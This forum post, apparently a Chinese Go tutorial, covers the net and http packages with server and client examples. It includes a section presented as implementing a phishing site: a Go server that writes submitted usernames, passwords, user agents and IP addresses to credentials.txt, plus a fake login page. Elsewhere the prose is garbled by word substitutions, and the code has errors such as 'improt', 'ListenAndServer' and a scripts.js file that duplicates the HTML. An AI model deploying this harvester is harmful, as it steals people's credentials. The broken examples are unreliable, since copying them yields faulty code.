Go-Web之net&http包

打印 上一主题 下一主题

主题 832|帖子 832|积分 2496

什么是net包和http包

在Go语言中,net 和 http 包是构建网络应用步伐时非常常用的两个包。它们分别提供了处置惩罚底层网络通讯和HTTP协议的功能。
net包

net包主要提供了底层网络通讯功能,支持TCP、UDP、Unix套字节等协议,常用于创建网络服务或网络通讯
其主要函数在TCP网络连接中已经学习过
http包

http包主要用于处置惩罚http请求和相应,提供了方便的函数来实现http客户端和服务端
主要函数


  • http.ListenAndServe:
    http.ListenAndServe是创建HTTP服务器的最常用函数,它监听指定地址并等待请求,它须要传入一个地址和一个http.Handler
  1. func ListenAndServe(addr string, handler Handler) error
  2. http.ListenAndServe(":8080", nil)
复制代码

  • http.HandleFunc:
    http.HandleFunc函数用于注册一个路由和请求处置惩罚函数,它会将请求分发到指定处置惩罚函数中
  1. func HandleFunc(pattern string, handler func(ResponseWriter, *Request))
  2. http.HandleFunc("/hello", func(w http.ResponseWriter, r *http.Request) {
  3.     fmt.Fprintf(w, "Hello, World!")
  4. })
复制代码

  • http.NewRequest:
    http.NewRequest用于创建一个新的HTTP请求,通常用于HTTP客户端
  1. func NewRequest(method, url string, body io.Reader) (*Request, error)
  2. method:HTTP请求方法(GET等)
  3. url:请求的URL
  4. body:请求的正文内容(通常为nil或io.Reader)
  5. req, err := http.NewRequest("GET", "http://localhost:8080", nil)
  6. if err != nil {
  7.     log.Fatal(err)
  8. }
复制代码

  • http.Get
    http.Get是一个简单的HTTP客户端函数,发送一个GET请求并返回相应
  1. func Get(url string) (resp *Response, err error)
  2. resp, err := http.Get("http://localhost:8080")
  3. if err != nil {
  4.     log.Fatal(err)
  5. }
  6. defer resp.Body.Close()
  7. body, _ := ioutil.ReadAll(resp.Body)
  8. fmt.Println(string(body))
复制代码

  • http.ResponseWriter
    http.ResponseWriter是一个接口,用于构建http相应。
    Write([]byte) (n int,err error):向相应写入数据
    WriteHeader(statusCode int):设置HTTP相应状态码
  1. http.HandleFunc("/hello",func(w http.ResponseWriter,r *http.Request){
  2.         w.WriteHeader(http.StatusOK)
  3.         fmt.Fprintf(w,"Hello,World!")
  4. })
复制代码
例子

创建一个简单的HTTP服务器
  1. package main
  2. improt(
  3. "fmt"
  4. "net/http"
  5. )
  6. func handler(w http.ResponseWriter,r *http.Request){
  7. fmt.Fprintf(w,"Hello,%s!",r.URL.Path[1:])
  8. }
  9. func main(){
  10. http.HandleFunc("/",handler)
  11. fmt.Println("Server is running at http://127.0.0.1:8080")
  12. err:=http.ListenAndServer(":8080",nil)
  13. if err !=nil{
  14. fmt.Println("Error starting server:",err)
  15. }
  16. }
复制代码
HTTP客户端请求
  1. package main
  2. import(
  3. "fmt"
  4. "net/http"
  5. "io/ioutil"
  6. )
  7. func main(){
  8. resp,err:=http.Get("http://127.0.0.1:8080")
  9. if err !=nil{
  10. fmt.Println("Error:",err)
  11. return
  12. }
  13. defer resp.Body.Close()
  14. body,err:=ioutil.ReadAll(resp.Body)
  15. if err!=nil{
  16. fmt.Println("Error reading response body:",err)
  17. return
  18. }
  19. fmt.Println("Response:",string(body))
  20. }
复制代码
通过http.NewRequest创建自界说请求
  1. package main
  2. import (
  3.     "bytes"
  4.     "fmt"
  5.     "io/ioutil"
  6.     "log"
  7.     "net/http"
  8. )
  9. func main() {
  10.     // 创建请求数据
  11.     url := "https://httpbin.org/post"
  12.     method := "POST"
  13.     payload := []byte(`{"name": "John", "age": 30}`)
  14.     // 创建请求
  15.     req, err := http.NewRequest(method, url, bytes.NewBuffer(payload))
  16.     if err != nil {
  17.         log.Fatal(err)
  18.     }
  19.     // 设置请求头
  20.     req.Header.Set("Content-Type", "application/json")
  21.     req.Header.Set("Authorization", "Bearer your-token")
  22.     // 使用自定义的 HTTP 客户端发送请求
  23.     client := &http.Client{}
  24.     resp, err := client.Do(req)
  25.     if err != nil {
  26.         log.Fatal(err)
  27.     }
  28.     defer resp.Body.Close()
  29.     // 读取响应
  30.     body, err := ioutil.ReadAll(resp.Body)
  31.     if err != nil {
  32.         log.Fatal(err)
  33.     }
  34.     // 输出响应
  35.     fmt.Printf("Response: %s\n", body)
  36. }
复制代码
通过http.Client拓展请求功能
  1. //配置请求超时
  2. client:=&http.Client{
  3. Timeout: 10*time.Second
  4. }
  5. //配置代理
  6. proxyURL,err:=url.Parse("http://baidu.com")
  7. if err !=nil{
  8. log.Fatal(err)
  9. }
  10. client:==&http.Client{
  11. Transport: &http.Transport{
  12. Proxy: http.ProxyURL(proxyURL),
  13. },
  14. }
复制代码
用http包实现钓鱼网站

1.go
  1. package main  
  2.   
  3. import (  
  4.     "net/http"  
  5.     "os"    "time"  
  6.     "github.com/gorilla/mux"   
  7.     log "github.com/sirupsen/logrus"  
  8. )  
  9.   
  10. func login(w http.ResponseWriter, r *http.Request) {  
  11.     log.WithFields(log.Fields{  
  12.        "time":       time.Now().String(),  
  13.        "username":   r.FormValue("username"),  
  14.        "password":   r.FormValue("password"),  
  15.        "user-agent": r.UserAgent(),  
  16.        "ip_address": r.RemoteAddr,  
  17.     }).Info("login attempt")  
  18.     http.Redirect(w, r, "/", 302)  
  19. }  
  20.   
  21. func main() {  
  22.     fh, err := os.OpenFile("credentials.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0600)  
  23.     if err != nil {  
  24.        panic(err)  
  25.     }  
  26.     defer fh.Close()  
  27.     log.SetOutput(fh)  
  28.     r := mux.NewRouter()  
  29.     r.HandleFunc("/login", login).Methods("POST")  
  30.     r.PathPrefix("/").Handler(http.FileServer(http.Dir("./public")))  
  31.     log.Fatal(http.ListenAndServe(":8080", r))  
  32. }
复制代码
index.html
  1. <!DOCTYPE html>  
  2. <html lang="en">  
  3. <head>  
  4.     <meta charset="UTF-8">  
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">  
  6.     <title>Login</title>  
  7.     <link rel="stylesheet" href="styles.css">  
  8. </head>  
  9. <body>  
  10. <div class="login-container">  
  11.     <h2>Login</h2>  
  12.     <form id="login-form" method="POST" action="/login">  
  13.         <label for="_user">Username</label>  
  14.         <input type="text" id="_user" name="username" required>  
  15.   
  16.         <label for="_pass">Password</label>  
  17.         <input type="password" id="_pass" name="password" required>  
  18.   
  19.         <button type="submit">Login</button>  
  20.     </form></div>  
  21.   
  22. <script src="scripts.js"></script>  
  23. </body>  
  24. </html>
复制代码
srcipts.js
  1. <!DOCTYPE html>  
  2. <html lang="en">  
  3. <head>  
  4.     <meta charset="UTF-8">  
  5.     <meta name="viewport" content="width=device-width, initial-scale=1.0">  
  6.     <title>Login</title>  
  7.     <link rel="stylesheet" href="styles.css">  
  8. </head>  
  9. <body>  
  10. <div class="login-container">  
  11.     <h2>Login</h2>  
  12.     <form id="login-form" method="POST" action="/login">  
  13.         <label for="_user">Username</label>  
  14.         <input type="text" id="_user" name="username" required>  
  15.   
  16.         <label for="_pass">Password</label>  
  17.         <input type="password" id="_pass" name="password" required>  
  18.   
  19.         <button type="submit">Login</button>  
  20.     </form></div>  
  21.   
  22. <script src="scripts.js"></script>  
  23. </body>  
  24. </html>
复制代码
http包和net包的关系



  • http包是建立在net包的基础上的,实际上http也会利用net来进行底层的网络通讯
  • 我们在http包中利用http.ListenAndServe来创建HTTP服务器,而这个方法实际上是通过net.Listen来实现的,底层的通讯还是依赖于net包的实现。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

梦见你的名字

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表